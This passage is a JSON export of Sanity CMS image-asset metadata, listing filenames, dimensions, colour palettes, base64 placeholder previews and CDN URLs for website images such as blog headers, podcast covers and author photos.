#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a5169","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#846854","foreground":"#fff","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7b6a9","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0d8f0","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7e6a","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#54acd4","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"91decd9c0d172049f164a74b02c512090bb7038b-1726x554.png","path":"images/sczeoy4w/production/91decd9c0d172049f164a74b02c512090bb7038b-1726x554.png","sha1hash":"91decd9c0d172049f164a74b02c512090bb7038b","size":88780,"uploadId":"hBem3ZMTXlGqDqAVOmWXOIsSjff41yim","url":"https://cdn.sanity.io/images/sczeoy4w/production/91decd9c0d172049f164a74b02c512090bb7038b-1726x554.png"} {"_createdAt":"2023-06-21T12:09:40Z","_id":"image-91f73fae65349daa83fca32b05e0d88285ee0e71-3133x1688-jpg","_rev":"DEr13LRm8S6bXdr2YHiFWI","_type":"sanity.imageAsset","_updatedAt":"2023-06-21T12:09:40Z","assetId":"91f73fae65349daa83fca32b05e0d88285ee0e71","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M;Pyk#{yEjXS#+xuR*oLayn$oMaxj]a#n$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUBBAf/xAAhEAACAQQCAgMAAAAAAAAAAAABAgMABAUREjEGUSFBcf/EABUBAQEAAAAAAAAAAAAAAAAAAAYH/8QAHhEAAgEEAwEAAAAAAAAAAAAAAQIAAwQFIRRBUWH/2gAMAwEAAhEDEQA/AGEE0KIvO3+u/dMry6SDG28jojIzaVAPmkbk8U/KjyWV4cFA0TFW59igGOJa6RR7KVnFAtHMoy+UGGV47iaHmp1piNgeqKxHPMzZW4ZmYszbJJ7opi+Mp1GLsdn5J3yqy6RiB1P/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#485c32","foreground":"#fff","population":1.79,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#997b10","foreground":"#fff","population":0.88,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#94c5c4","foreground":"#000","population":1.51,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efb873","foreground":"#000","population":2.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#98705e","foreground":"#fff","population":6.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.13,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"210623_BlogPost_AngieByron.jpg","path":"images/sczeoy4w/production/91f73fae65349daa83fca32b05e0d88285ee0e71-3133x1688.jpg","sha1hash":"91f73fae65349daa83fca32b05e0d88285ee0e71","size":1920203,"uploadId":"Hlb7WDEll7wyUebWS8V97dIXr64IDVuo","url":"https://cdn.sanity.io/images/sczeoy4w/production/91f73fae65349daa83fca32b05e0d88285ee0e71-3133x1688.jpg"} {"_createdAt":"2023-10-23T08:54:08Z","_id":"image-920a63f420b647ae8420bd515ba4a0cb074b4eea-989x989-jpg","_rev":"zE08g5Yj02ino50zLh7Zdi","_type":"sanity.imageAsset","_updatedAt":"2023-10-23T08:54:45Z","altText":"Michael Coates","assetId":"920a63f420b647ae8420bd515ba4a0cb074b4eea","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ejIX,ER*yDs:r=~qt7S4j[MxbHj[RPWBbHNHWBWBjZtRbboLsmazWW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":989,"width":989},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAUHCAT/xAAjEAACAQQBBAMBAAAAAAAAAAABAgMABAURBgcSIUETMWEi/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQIDBP/EABsRAAICAwEAAAAAAAAAAAAAAAABAiEDERIT/9oADAMBAAIRAxEAPwC3RKlpZSSKpPYpOh7qB4pnjlpbkMHKKSQWOwKp7qH1Tvo85cYrFTCG3i/hpFHlj7qK49yTPYSwF7ZPH8UjEunbst+n8qc4vqLTovi585JqzRNxBG8pOqVE8dzceZwtpfgqpmQFgD9H3SmM5lLqFi4MfdxSwGQvKxLlm3s1wwZjIPZiA3cvxdvb2g+NUpQg9qy2VanRoXgqLZcVx8UGwpjDnZ35P3SlKWLoGRJSZ//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#442523","foreground":"#fff","population":2.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#854334","foreground":"#fff","population":4.41,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcc4be","foreground":"#000","population":5.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc4be","foreground":"#000","population":5.92,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd9c82","foreground":"#000","population":2.24,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#bf8172","foreground":"#fff","population":2.83,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b86e55","foreground":"#fff","population":1.95,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"michael-coates.jpg","path":"images/sczeoy4w/production/920a63f420b647ae8420bd515ba4a0cb074b4eea-989x989.jpg","sha1hash":"920a63f420b647ae8420bd515ba4a0cb074b4eea","size":55960,"title":null,"uploadId":"lfYlKaeb0buslr5Fo9pq5bi6qsQoVQGq","url":"https://cdn.sanity.io/images/sczeoy4w/production/920a63f420b647ae8420bd515ba4a0cb074b4eea-989x989.jpg"} {"_createdAt":"2022-07-08T09:49:14Z","_id":"image-92461d4f7b72f09ed7f100d4457450b04f964609-1200x640-jpg","_rev":"CK1sLU2mnwa3vmbYWEeQQ3","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:25Z","assetId":"92461d4f7b72f09ed7f100d4457450b04f964609","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MbM%WE5E-;-o%N~BR:S4snoL.At7RjbIWU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.875,"height":640,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGBP/EACMQAAIBAwQCAwEAAAAAAAAAAAEDAgAEBQYREiEyYTFBsdH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBP/EABsRAAICAwEAAAAAAAAAAAAAAAECAAMREjEE/9oADAMBAAIRAxEAPwCg1VrPnqNSrG5bBCGbsBOxJ37FUWK1tbXOSSqELsK+5yHRpPrjTuJdnQ5lnAt38hKQ/DTXF4myS1cVoEY7fHI/2o7aDYpGxjpdqeSxhluZmUO3Xy679UVhw2PtYWshFQA5k+R9UUSeYhQMxGtGeT//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#674b36","foreground":"#fff","population":3.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#37290b","foreground":"#fff","population":0.68,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9ce93","foreground":"#000","population":5.04,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6ae95","foreground":"#000","population":2.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9ce93","foreground":"#000","population":5.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7d5e","foreground":"#fff","population":3.65,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c6a05f","foreground":"#000","population":4.67,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"92461d4f7b72f09ed7f100d4457450b04f964609-1200x640.jpg","path":"images/sczeoy4w/production/92461d4f7b72f09ed7f100d4457450b04f964609-1200x640.jpg","sha1hash":"92461d4f7b72f09ed7f100d4457450b04f964609","size":291183,"uploadId":"MJegUNnBkKjfYT4OlBOlVREMj6nAJoD9","url":"https://cdn.sanity.io/images/sczeoy4w/production/92461d4f7b72f09ed7f100d4457450b04f964609-1200x640.jpg"} {"_createdAt":"2022-09-07T11:39:46Z","_id":"image-92956c84edec09fdc186e86269ac4b3fae4ef9bb-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRqFk2L","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:46Z","assetId":"92956c84edec09fdc186e86269ac4b3fae4ef9bb","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC7klEQVQ4jXVVv0+VQRAcEIwoRhKFyDNGhAJILBSD0QIFE1HUDrCFd3sPO4tHIVoZCqmsLLSw0EiMYiAWGIl/3I2ZvYX4A4tNLt/u7e3OzO4HJoD3ARpQDOCKn7uY0E/DBA33aXgUpvOE+xK62Kr33CYBLiOSydHhyTqZMcCMGRpWaXhLww4Ne2E78U2+GY99jE4uAqUJlOuI7B1RlWGEGS0aNmn4ScMXGl7T8DJM5y35imIUmzHCFroYubzNosoMI8XQpuE7Dds0PKXhDg2jTDhbDIMlY5SG2VJ92xHbpmG4GDpLQmBW22xFwEca5mloMOEUDRdpuErDFWacZ8ZJZjRoWIhOdmnINAyIDzi4FbPNeHWBGX009NJwk4Z1Znym4VPJeM6MSbbQEzELgavuzqh1BJurgdnTUisTBJdpeBXflfBrqed1h6GJDo81rEVMmxn9SjgRzImAWVVcEo7QMB0kvKBhioZ7NLyn4VsxPIjOumi4G0S9ESwIbans18Uwxraz1VkMFyLpOJs4zoRLESP5LDDhKJeAkjFesj8suOZ0eTE0tuFESJMZHUoqKZWE3lK7eEbDDxreFcMNrzB5wgaz31WOxf8nbIbgE84Vw2qpbH4olYjTTP4oDhJm7DHXhActUy3PH4wfvP2EgRi7JzTcZsJpEeL+7DbG7FDUlov09Tsphm6Nkc94rfAYDUMSLw0neAvw6mWG7sNI+VM2amExXldSwxmKVcNDPzfDt+JT1jhMNqL+X2GvHmySQRqWaFh2jPVtyb/3Bf47MdfTVdjL7hROGr1dd1bgdbmbCT2sEpL1MHmbPnrlr9ErLS0HtZV9be0vBwVsxwKYDdAH3URaxWwtiNzdXw4us+b++hpyAtS6toZe8/VVDFulsi9JbcTZ11cskcyM4T/X11TdtPqgFRTtC1O9LOZU7f6CFcZvmJ0ATdFAUXe6qxzXlFWH61Gp2q9y0ZyKfUlqLsCX6aw11u8xmpQqH/BG/QX8AlyekPm+R2tMAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c242c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c1e04","foreground":"#fff","population":0.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ed620e","foreground":"#fff","population":7.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#803918","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc7444","foreground":"#fff","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#84603f","foreground":"#fff","population":1.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed620e","foreground":"#fff","population":7.29,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-help-circle.svg","path":"images/sczeoy4w/production/92956c84edec09fdc186e86269ac4b3fae4ef9bb-24x24.svg","sha1hash":"92956c84edec09fdc186e86269ac4b3fae4ef9bb","size":298,"uploadId":"rIG1xSXVAidQ7qr1dURIdcYg3Uu0X9KR","url":"https://cdn.sanity.io/images/sczeoy4w/production/92956c84edec09fdc186e86269ac4b3fae4ef9bb-24x24.svg"} {"_createdAt":"2024-07-10T10:12:27Z","_id":"image-92b0f134d157ba241717256058dd78a98bc2a570-1200x630-jpg","_rev":"ejVwHgKe5k9eDWbchsvfnw","_type":"sanity.imageAsset","_updatedAt":"2024-07-10T10:12:27Z","assetId":"92b0f134d157ba241717256058dd78a98bc2a570","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBCrEO0;}T#Q16x^xbNGR*smK6-9nhI[$e","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAQf/xAAiEAABBAIBBAMAAAAAAAAAAAABAAIDEQQhBQYSEzEiMkH/xAAVAQEBAAAAAAAAAAAAAAAAAAAFAf/EAB0RAQACAgIDAAAAAAAAAAAAAAEAEQIEAyESgaH/2gAMAwEAAhEDEQA/AOK4nJ4MePG2XF7ngUTQ2n/Rs2NyGdO3wMipvxo0pSLcMQIb9h+BPOiz284+te0tvC63J4tNS6dHPhfZcuyHMDWtiaQBo37Qsx5pDELcTsoQ2LliUg+2NtPYvyf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#39385c","foreground":"#fff","population":0.88,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":28.96,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":28.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0bbb0","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0e4f2","foreground":"#000","population":3.61,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e6a77","foreground":"#fff","population":0.61,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e76d16","foreground":"#fff","population":2.71,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"whitepaper-how-an-open-source-cloud-data-platform-drives-transformation_meta-preview.jpg","path":"images/sczeoy4w/production/92b0f134d157ba241717256058dd78a98bc2a570-1200x630.jpg","sha1hash":"92b0f134d157ba241717256058dd78a98bc2a570","size":130131,"uploadId":"G2rc28IFvIaqlebHHwTPORr74st3yro4","url":"https://cdn.sanity.io/images/sczeoy4w/production/92b0f134d157ba241717256058dd78a98bc2a570-1200x630.jpg"} {"_createdAt":"2024-08-09T07:20:59Z","_id":"image-92caaeec0be9f9e98ec54435ebb29f80b744094c-1200x630-jpg","_rev":"5y7swPKAcYPWMoG0mxenXK","_type":"sanity.imageAsset","_updatedAt":"2024-08-09T07:20:59Z","assetId":"92caaeec0be9f9e98ec54435ebb29f80b744094c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MvOmKE}TFdjFw]=xf+W;s9jaI;bbjFj[bH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABgAD/8QAIhAAAgECBgMBAAAAAAAAAAAAAQIDAAQFBhESEyEjMTLB/8QAFAEBAAAAAAAAAAAAAAAAAAAABv/EAB4RAAEEAgMBAAAAAAAAAAAAAAEAAgMEESEFMUFR/9oADAMBAAIRAxEAPwBK13AFHhQkCjWbLxYbE8AaETSLE7KfkE1hLNJr9mjGfLiXmt4+RthUErr1rQDiqjp52tJGBvr4nt6y2GB2AcnS2zDeRZdxE4fh10/EqKzbT1uPv8qoXMzNISxJJ9k91U0NRvoCKid2NFf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b362a","foreground":"#fff","population":1.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d86b06","foreground":"#fff","population":5.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c04","foreground":"#fff","population":8.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3a192","foreground":"#000","population":3.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0a254","foreground":"#000","population":1.46,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e624f","foreground":"#fff","population":5.78,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c04","foreground":"#fff","population":8.09,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"video-add-a-database-postgres-pgvector-by-olena.jpg","path":"images/sczeoy4w/production/92caaeec0be9f9e98ec54435ebb29f80b744094c-1200x630.jpg","sha1hash":"92caaeec0be9f9e98ec54435ebb29f80b744094c","size":177594,"uploadId":"4ENNQTcQm4PO8A5tMYWqfDhMriHcqMnV","url":"https://cdn.sanity.io/images/sczeoy4w/production/92caaeec0be9f9e98ec54435ebb29f80b744094c-1200x630.jpg"} {"_createdAt":"2024-02-01T04:24:55Z","_id":"image-92fa62e21bae388ad0ca8017c31285be8d9ac13e-1200x628-png","_rev":"ZLvKaZvfbZlWBlGcpPJnFz","_type":"sanity.imageAsset","_updatedAt":"2024-02-01T04:24:55Z","assetId":"92fa62e21bae388ad0ca8017c31285be8d9ac13e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTFrPD01~9RkIV={ENs.oLNHJCZ~SixaRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAC0ElEQVQokS3P6UvTAQDG8d+fEHjM1eaxqdvc4W2as2Me29w0nZFYmlpWmk6p2WraTF2lc1ZYlFQWnUiZEWVkhlRWVmaSkSYdb6IgCILojuAbrN49rz48XyFEnE9MhImkqBySFWaSlXkkKm3ookvQKMrQKSvRqtYTq65Bp7aTkLSDhroTPLl5l68vp/n2apofb54zc2ccX/s5hBBpESrlSuK1JcRpVxOrKUOjrkQZsxGl1o46bgvaBCeaeBfRGhcZyzro7b7Iu8kJvsxN8Xl2kp9vnvFp5imPb4whhEaVkrakgRyLC4NxOxmZ20k3NKHPbGGpaReZFi9Z1m4ycnxoF+7GnOtj8NB5Pt4b4cPYVd7fusj3qWv8mRvj24sHCNKoMhYZGjEXtmJc3oa5YBd5KzopKO6moHgf1hX7MeT6SF68B1ViO1ZzJ4N7+3h96TTP+nuZG+jh6+0+/jwZ5Pf0MMIC2SpS0mrIynaQbXRitLj9qMXmxVTQxRJTB7rUnYSpXEgUzWRleeht6WbooI/zPV7un93Pp9Ej/Hp4hp+P+hHkocuxxlmpSs+jPL2QzKQ16BLr0aY4USU4kWu2IlU0EiJzIJZvIymtidoKJ22bG/G4Wzl7yMvTC3t5O3SAd9cOIKikZspjF+PW63GkLiU7Jh95dBXhKjsLIu0Eh9cRFFZHcLgdkWwzUboGlmVXUlRUQXm1A1dTMwc9bk50eTjla0WQiPNZFGnBHGfDEF9CTHQp4vC1hERUI4rY9A8MrSFQupGgsFpksfWkW+owrm4gv7qZcoeH+uYuHG09ONp7EAJEhcikNpSKMiLVG5gvX0eApJIASZUf+vdw03+wBp1+B+tcx3EfuURL32U6Tl7hcP91jg2McHRgBGGeyEaQ2IZIUkxwaCmB0jV+MFC63g/4UyPq/+9a9CYvvmOjDI3PMvzoBaMTs4xPzjIxNcPjqef8BeF2t9XJU1L5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36455f","foreground":"#fff","population":2.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041a7c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2b889","foreground":"#000","population":2.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adbad0","foreground":"#000","population":2.65,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2b889","foreground":"#000","population":2.78,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e80bc","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#db4d18","foreground":"#fff","population":1.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cloud and Platform Eng Summit NZ.png","path":"images/sczeoy4w/production/92fa62e21bae388ad0ca8017c31285be8d9ac13e-1200x628.png","sha1hash":"92fa62e21bae388ad0ca8017c31285be8d9ac13e","size":500763,"uploadId":"9EPeLQP0OvyOgikiAoBNfYblAPdvzwaq","url":"https://cdn.sanity.io/images/sczeoy4w/production/92fa62e21bae388ad0ca8017c31285be8d9ac13e-1200x628.png"} {"_createdAt":"2024-08-09T11:45:55Z","_id":"image-92fdfc50c1e325a6071df7083e16730f2b78b759-1280x720-jpg","_rev":"msvVOwV0ly404Y5JqDXetG","_type":"sanity.imageAsset","_updatedAt":"2024-08-09T11:45:55Z","assetId":"92fdfc50c1e325a6071df7083e16730f2b78b759","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGD+Mm,C?CWByD?c-6?Ho0-U~Vw[RPs;JV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgACBf/EACEQAAICAQUAAwEAAAAAAAAAAAECAwQABQYREiETFDGR/8QAFQEBAQAAAAAAAAAAAAAAAAAABAP/xAAcEQACAwADAQAAAAAAAAAAAAABAwACEQQSITH/2gAMAwEAAhEDEQA/AA24dzxXrVgxX5/rglgyDCE1h55wFv2z29T3E+hQxvds1XjQ128KdR+YmfRNOqRfPXqoksacK3JPH9xnGaErt1HoiGsLcFj9mdsS06mkRJdt2zOT2bhss4wYt63pywp5DSd2QNajzJ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#562b51","foreground":"#fff","population":6.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#09045d","foreground":"#fff","population":4.49,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#562b51","foreground":"#fff","population":6.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9198b9","foreground":"#000","population":0.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cd927f","foreground":"#000","population":1.89,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a6690","foreground":"#fff","population":2.84,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc5224","foreground":"#fff","population":4.59,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"podcast8-fueling-startup-innovation.jpg","path":"images/sczeoy4w/production/92fdfc50c1e325a6071df7083e16730f2b78b759-1280x720.jpg","sha1hash":"92fdfc50c1e325a6071df7083e16730f2b78b759","size":130387,"uploadId":"6afKJHNWOpCFUxUwmfOzOcKzS2HpZNvq","url":"https://cdn.sanity.io/images/sczeoy4w/production/92fdfc50c1e325a6071df7083e16730f2b78b759-1280x720.jpg"} {"_createdAt":"2024-02-28T16:13:15Z","_id":"image-9303052381119742c53b15661212e7970990f304-2500x1312-jpg","_rev":"w5AXxS2dRCMjAjCd4bny7u","_type":"sanity.imageAsset","_updatedAt":"2024-02-28T16:13:15Z","assetId":"9303052381119742c53b15661212e7970990f304","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFPj4Qp^X9M4_JOsIW=oE.xw??MlR:%DDm","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9054878048780488,"height":1312,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUBAwYH/8QAIRAAAgICAQQDAAAAAAAAAAAAAQIDBAARBRIUIVEGMYH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAgT/xAAcEQACAgMBAQAAAAAAAAAAAAABAgARAxMhFDH/2gAMAwEAAhEDEQA/AO6y1OSe05huKEJ2F39Yu+XT8jSFaWirNMTp2VOr81mmhVRMxAG/esgebbb9Zo3aWVquzUvCqliW7Up4/kJOyhNkdExUFl9HDFN0nuG8nDG8yHsE5iT8n//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4147","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#571371","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fad3b2","foreground":"#000","population":1.89,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4acb5","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fad3b2","foreground":"#000","population":1.89,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#806885","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a424d4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"dragonfly-meta-preview.jpg","path":"images/sczeoy4w/production/9303052381119742c53b15661212e7970990f304-2500x1312.jpg","sha1hash":"9303052381119742c53b15661212e7970990f304","size":80022,"uploadId":"GrjkWIauSjHUAKBgtIJtT2CE